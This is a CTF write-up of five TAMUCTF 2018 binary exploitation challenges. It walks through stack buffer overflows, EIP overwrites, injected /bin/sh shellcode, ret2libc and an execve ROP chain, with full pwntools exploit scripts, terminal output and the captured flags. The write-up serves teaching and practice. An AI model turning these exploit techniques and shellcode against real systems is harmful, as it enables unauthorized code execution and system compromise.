The following is a writeup for all pwn challenges found in TAMUCTF 2018:
Pwn 1
This challenges was a simple overflow of 23 bytes + 0xf007b411 (taken from a hardcoded compare). After the compare passes, it branches to 0x8048626 which calls the print_flag function.
$ python -c 'print "A"*23 + "\x11\xba\x07\xf0"' | nc pwn.ctf.tamu.edu 4321
This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
How did you figure out my secret?!
gigem{H0W_H4RD_1S_TH4T?}
Pwn 2
The second pwnable was similar to the first, but this time we're overwriting EIP with the function print_flag.
Running pwn2, we see it echos back some text by calling an echo function:
$ ./pwn2 I just love repeating what other people say! I bet I can repeat anything you tell me! AAAA AAAA
We could also run this with ltrace showing the address of the gets, which will take us to the echo function [0x80485de]:
$ ltrace -i ./pwn2 [0x8048471] __libc_start_main(0x80485f6, 1, 0xffc22824, 0x8048650[0x8048618] setvbuf(0xf7751ac0, 0x2, 0, 0) = 0 [0x8048628] puts("I just love repeating what other"...I just love repeating what other people say! ) = 45 [0x8048638] puts("I bet I can repeat anything you "...I bet I can repeat anything you tell me! ) = 41 [0x80485cc] setvbuf(0xf7751ac0, 0x2, 0, 0) = 0 [0x80485de] gets(0xffc22679, 2, 0, 0AAAA ) = 0xffc22679 [0x80485f0] puts("AAAA"AAAA ) = 5 [0xffffffffffffffff] +++ exited (status 0) +++
Looking at echo in Binary Ninja, again we see that it's vulnerable because of the gets function, which has no bounds checking:
Playing with the buffers until we hit EIP:
$ python -c 'print "A"*243 + "BBBB"' | strace -i ./pwn2 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
Then we just insert the address of print_flag [0x804854b], using pwntools for packing:
$ python -c 'from pwn import p32; print "A"*243 + p32(0x804854b)' | nc pwn.ctf.tamu.edu 4322
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�
This function has been deprecated
gigem{3ch035_0f_7h3_p4s7}
Pwn 3
pwn3 is very similar to pwn2, but it has no print_flag function and ASLR was turned on for the server. Luckily there were no binary mitigations on this one:
First just running this binary we get:
Welcome to the New Echo application 2.0! Changelog: - Less deprecated flag printing functions! - New Random Number Generator! Your random number 0xffb837fa! Now what should I echo? AAAA AAAA
What's that 'random number' generated? It looks like a memory address. Looking in Binary Ninja we confirm it just points to our shellcode, Great!
We can see the EIP overwrite is 242 bytes in:
$ python -c 'print "A"*242 + "BBBB"' | strace -i ./pwn3 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
Now we just need to leak the shellcode address, place some shellcode at the start of the buffer and overwrite EIP with the leaked address.
To do this, I wrote a small client:
#!/usr/bin/env python
from pwn import *
#r = process('./pwn3')
r = remote('pwn.ctf.tamu.edu', 4323)
NOP = '\x90'
SC = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
LEAK_STR = 'Now what should I echo? '
def main():
result = r.recvuntil(LEAK_STR)
result = result.split('\n')[5].split('0x')[-1].rstrip('!')
stack = result.decode('hex')[::-1]
payload = SC + NOP * (242 - len(SC)) + stack
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running we get a shell and cat the flag:
$ python pwn3-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done
[*] Switching to interactive mode
1�Ph//shh/bin\x89�PS\x89�
̀\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90:v��
$ cat flag.txt
gigem{n0w_w3_4r3_g377in6_s74r73d}
Pwn 4
In this challenge we get an interface to execute specific commands without arguments, but there's another gets we can take advantage of:
It looks like the binary has NX enabled:
We can use ret2libc to get a shell, first we need to find the gadgets for /bin/sh & system, pwndbg makes this simple:
pwndbg> p system
$1 = {<text variable, no debug info>} 0x8048430 <system@plt>
pwndbg> b main
Breakpoint 1 at 0x8048791
pwndbg> r
Breakpoint main
pwndbg> search /bin/sh
pwn4 0x804a038 u'/bin/sh'
That gives us 0x8048430 for system & 0x804a038 for '/bin/sh', then we just need to pad with the right offset. We find the EIP overwrite just as above:
$ python -c "print 'A'*32 + 'BBBB'" | strace -i ./pwn4 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
Tying that all together, we get:
(python -c 'from pwn import *; print "A"*32 + p32(0x8048430) + "JUNK" + p32(0x0804a038)'; cat) | nc pwn.ctf.tamu.edu 4324
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> Unkown Command
cat flag.txt
gigem{b4ck_70_7h3_l1br4ry}
Pwn 5
This challenge is a statically linked x86 binary with NX enabled. After looking through the functions used, playing with it on the command-line, it doesn't take too long to find the vulnerability - another gets call:
First it would be nice to automate stdin for this challenge with a small PoC client:
#!/usr/bin/env python
from pwn import *
from struct import pack
r = process('./pwn5')
#r = remote('pwn.ctf.tamu.edu', 4325)
# requires tmux to run
context(terminal = ['tmux', 'splitw'])
def main():
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.send('y\n')
r.send('2\n')
gdb.attach(r, 'c')
r.sendline('AAAA')
r.interactive()
if __name__ == "__main__":
main()
We can see from the disassembly gets is storing our input in ebp-0x1c, if we add 4 for EBP we get to EIP, making our padding 32 bytes.
If we rerun our client replacing 'AAAA' with 'A'*32 + 'BBBB', we'll see a crash of 0x42424242 in gdb.
Next all we need to do is ROP! For this we can use Ropper to generate the ROPChain:
$ ropper --file ./pwn5 --chain execve
Dumping that into our existing client, we get:
#!/usr/bin/env python
from pwn import *
from struct import pack
#r = process('./pwn5')
r = remote('pwn.ctf.tamu.edu', 4325)
IMAGE_BASE = 0x08048000
rebase = lambda x : p32(x + IMAGE_BASE)
rop = ''
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += '//bi'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += 'n/sh'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8064)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000016b3) # 0x080496b3: xor eax, eax; ret;
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000001d1) # 0x080481d1: pop ebx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0009c325) # 0x080e4325: pop ecx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += p32(0xfffffff5)
rop += rebase(0x0001a407) # 0x08062407: neg eax; ret;
rop += rebase(0x0002b990) # 0x08073990: int 0x80; ret;
def main():
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.send('y\n')
r.send('2\n')
r.sendline('A'*32 + rop)
r.interactive()
if __name__ == "__main__":
main()
Then we run it and cat the flag:
$ python pwn5-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Switching to interactive mode
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}







